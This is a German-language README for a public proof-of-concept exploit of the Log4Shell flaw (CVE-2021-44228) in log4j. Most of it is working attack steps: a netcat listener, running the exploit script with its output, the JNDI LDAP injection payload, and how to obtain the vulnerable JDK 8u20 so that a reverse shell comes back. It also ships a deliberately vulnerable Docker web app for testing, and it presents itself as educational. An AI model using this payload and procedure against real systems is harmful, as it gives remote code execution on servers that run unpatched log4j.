
Ein Proof-of-Concept für die Schwachstelle CVE-2021-44228.
Ein Proof-of-Concept für die kürzlich entdeckte Schwachstelle CVE-2021-44228.
Kürzlich wurde eine neue Schwachstelle in log4j entdeckt, einer Java-Logging-Bibliothek, die sehr weit verbreitet ist, z.B. in Elasticsearch, Minecraft und vielen anderen.
In diesem Repository gibt es eine beispielhafte anfällige Anwendung und einen Proof-of-Concept (POC)-Exploit dafür.
Als PoC gibt es eine Python-Datei, die den Prozess automatisiert.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 heißen und sich im selben Verzeichnis befinden.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Dieses Skript richtet den HTTP-Server und den LDAP-Server für Sie ein und erstellt auch das Payload, das Sie in den anfälligen Parameter einfügen können. Danach sollten Sie, wenn alles gut gelaufen ist, eine Shell auf dem lport erhalten.
Es gibt eine Dockerfile mit der anfälligen Webanwendung. Sie können diese wie folgt verwenden:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Sobald es läuft, können Sie es unter localhost:8080 aufrufen.
Oracle stellt dankenswerterweise ein Archiv für alle früheren Java-Versionen zur Verfügung:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Scrollen Sie nach unten zu 8u20 und laden Sie die passenden Dateien für Ihr Betriebssystem und Ihre Hardware herunter.

Hinweis: Sie benötigen ein Konto, um das Paket herunterladen zu können.
Nachdem Sie das Archiv heruntergeladen und entpackt haben, finden Sie java und einige verwandte Binärdateien in jdk1.8.0_20/bin.
Hinweis: Stellen Sie sicher, dass Sie den JDK-Ordner mit demselben Namen in dieses Repository extrahieren, damit es funktioniert.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Dieses Repository ist nicht als Ein-Klick-Exploit für CVE-2021-44228 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese Schwachstelle zu verstehen und vielleicht ihre eigenen Anwendungen zu testen (es gibt jedoch bessere Anwendungen für diesen Zweck, z.B.: https://log4shell.tools/).